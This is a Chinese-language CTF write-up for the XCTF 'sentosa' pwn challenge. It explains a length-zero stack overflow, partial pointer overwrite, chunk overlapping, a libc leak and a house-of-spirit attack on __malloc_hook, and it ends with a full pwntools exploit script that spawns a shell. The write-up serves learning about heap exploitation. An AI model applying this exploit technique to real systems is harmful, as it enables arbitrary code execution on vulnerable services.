XCTF-sentosa-WP

Posted on Apr 24, 2021

主要的漏洞点在

这里,当 Input length of your project name: 时输入 0,此处 v2 就会变成 -1,可以栈溢出。

栈环境如下

由于有 canary,有意义的溢出也仅有溢出到 v6。

v6 仅在最后被存入到了指针数组中,又没有 edit 功能,所以我们只能通过部分覆写来实现 leak 和 free。

也就是将 v6 的最低位置为 '\x00',指向堆上的可控片段,在该可控片段申请多个小堆块,一起伪造一个较大的 fake_chunk,free 掉该 fake_chunk 实现 chunk overlapping。

然后可以通过程序提供的输出功能 leak 出 libc 地址。

StartPro(0x49,'\n') # 0
StartPro(0x49,'\n') # 1
StartPro(4 + 8 + 4,'a' * 4 + p64(0xA1) + '\n') # 2
StartPro(0x50,'\n') # 3
StartPro(0x10,'aaaa' + p64(0x21) + '\n') # 4
StartPro(0,'a' * 0x5A + '\n') # 5

cancel(5)
view()
sh.recvuntil("Price: ")
sh.recvuntil("Price: ")
sh.recvuntil("Price: ")
libc_base = (int(sh.recvuntil("\n",drop = True),base = 10) & 0xFFFFFFFF) << 8 
libc_base = (libc_base | 0x7F0000000010) - libc.sym["__malloc_hook"]# - 0x10 - 88
log.success("libc_base:" + hex(libc_base))

这个时候由于我们有 chunk overlapping,所以可以实现 UAF 的效果,自然可以想到通过修改 fastbin chunk 的 fd 指针打 __malloc_hook,然而此题的输入方式比较恶心,使用 strncpy 来复制,这个函数在碰到 '\x00' 时会跳过对之后数据的复制,然后还会把目标地址的剩余部分全部置零,所以难以直接通过字符串输入来同时修改 size 和 fd。

卡了许久才想到通过 Input your project price: Input your project area: Input your project capacity: 这三个输入来进行修改。由于 ptmalloc 对于 size 和 size + 8(size 满足 $16 \mid size $)的请求会分配同样的堆块,所以可以利用这种特性进行两次修改,第一次申请 0x28 - 21 的大小,修改 fd,free 掉申请来的堆块,再申请 0x20 - 21 的大小,修改 size,然后就可以进行 house of spirit 了,修改 __malloc_hook 为 one_gadget 即可 getshell。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
import ctypes
context.log_level = 'debug'
context.terminal=["tmux","splitw","-h"]

#sh = process("./sentosa")
#libc = ELF("/glibc/2.23/64/lib/libc.so.6")
#sh = remote("")
#libc = ELF("./libc.so.6")

def StartPro(size,name):
    sh.sendlineafter("5. Exit\n",'1')
    sh.sendlineafter("name: ",str(size))
    sh.sendafter("name: ",name)
    sh.sendlineafter("price: ",'+')
    sh.sendlineafter("area: ",'+')
    sh.sendlineafter("capacity: ",'+')

def view():
    sh.sendlineafter("5. Exit\n",'2')

def cancel(index):
    sh.sendlineafter("5. Exit\n",'4')
    sh.sendlineafter("number: ",str(index))

#StartPro(0x59,'\x00' * 4 + p64(0x101) + (p32(0) + p32(0x100)) + p64(0) + '\n')
StartPro(0x49,'\n') # 0
StartPro(0x49,'\n') # 1
StartPro(4 + 8 + 4,'a' * 4 + p64(0xA1) + '\n') # 2
StartPro(0x50,'\n') # 3
StartPro(0x10,'aaaa' + p64(0x21) + '\n') # 4
StartPro(0,'a' * 0x5A + '\n') # 5

cancel(5)
view()
sh.recvuntil("Price: ")
sh.recvuntil("Price: ")
sh.recvuntil("Price: ")
libc_base = (int(sh.recvuntil("\n",drop = True),base = 10) & 0xFFFFFFFF) << 8 
libc_base = (libc_base | 0x7F0000000010) - libc.sym["__malloc_hook"]# - 0x10 - 88
log.success("libc_base:" + hex(libc_base))
alloc_addr = libc_base + libc.sym["__malloc_hook"] - 0x23
system_addr = libc_base + libc.sym["system"]
one_gadget = libc_base + 0x4526a

cancel(3)

#StartPro(0x59,'\n')
sh.sendlineafter("5. Exit\n",'1')
sh.sendlineafter("name: ",str(19))
sh.sendafter("name: ",'aaa\n')
sh.sendlineafter("price: ",str(0))
sh.sendlineafter("area: ",str(alloc_addr & 0xFFFFFFFF))
sh.sendlineafter("capacity: ",str(alloc_addr >> 32))

cancel(3)

sh.sendlineafter("5. Exit\n",'1')
sh.sendlineafter("name: ",str(11))
sh.sendafter("name: ",'aaa\n')
sh.sendlineafter("price: ",str(0))
sh.sendlineafter("area: ",str(0x71))
sh.sendlineafter("capacity: ",str(0))

StartPro(0x50,'pass\n')
StartPro(0x50,'a' * 0xF + p64(one_gadget) + '\n')
log.success(hex(one_gadget))

sh.sendlineafter("5. Exit\n",'1')
sh.sendlineafter("name: ",str(0))

sh.interactive()